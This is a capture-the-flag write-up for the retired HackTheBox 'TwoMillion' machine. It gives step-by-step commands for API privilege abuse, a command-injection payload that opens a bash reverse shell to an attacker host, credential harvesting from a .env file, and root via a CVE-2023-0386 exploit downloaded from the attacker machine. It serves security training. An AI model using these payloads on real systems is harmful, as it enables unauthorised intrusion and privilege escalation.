HTB-TwoMillion-Writeup

HackTheBox TwoMillion machine writeup — API abuse, command injection & CVE-2023-0386

HackTheBox — TwoMillion Writeup

HackTheBox — TwoMillion Writeup

Machine Info

Summary

TwoMillion is an Easy Linux machine themed around the old HackTheBox platform. It involves decoding an invite code, abusing API endpoints, OS command injection, credential discovery, and a Linux kernel privilege escalation via CVE-2023-0386 (OverlayFS).

Enumeration

Nmap

nmap -sV -sC -v 10.10.11.221

Open Ports:

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → redirects to 2million.htb

Add to /etc/hosts:

echo "10.10.11.221 2million.htb" >> /etc/hosts

Step 1 — Invite Code

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Response is ROT13 encoded. Decode it:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Generate the invite code:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

Register at http://2million.htb/register using the decoded invite code.

Step 2 — API Abuse → Admin

Login via browser, grab PHPSESSID from cookies (F12 → Application → Cookies).

Escalate to admin:

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

Verify:

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

Step 3 — Command Injection → Reverse Shell

Start listener:

nc -lvnp 4444

Send reverse shell payload:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

Shell received as www-data.

Step 4 — User Flag

Find credentials in .env:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

SSH in:

ssh [email protected]
cat ~/user.txt

Step 5 — Root Flag (CVE-2023-0386)

Check the hint:

cat /var/mail/admin
uname -r
# 5.15.70 — vulnerable to CVE-2023-0386

Download and compile exploit on Kali:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

Transfer to target:

# Kali
python3 -m http.server 8000

# Target
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

Run in two terminals on the target:

Terminal 1:

./fuse ./ovlcap/lower ./gc

Terminal 2:

./exp

Grab root flag:

cat /root/root.txt

Attack Chain

Tools Used

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

This writeup is for educational purposes only on a retired HackTheBox machine.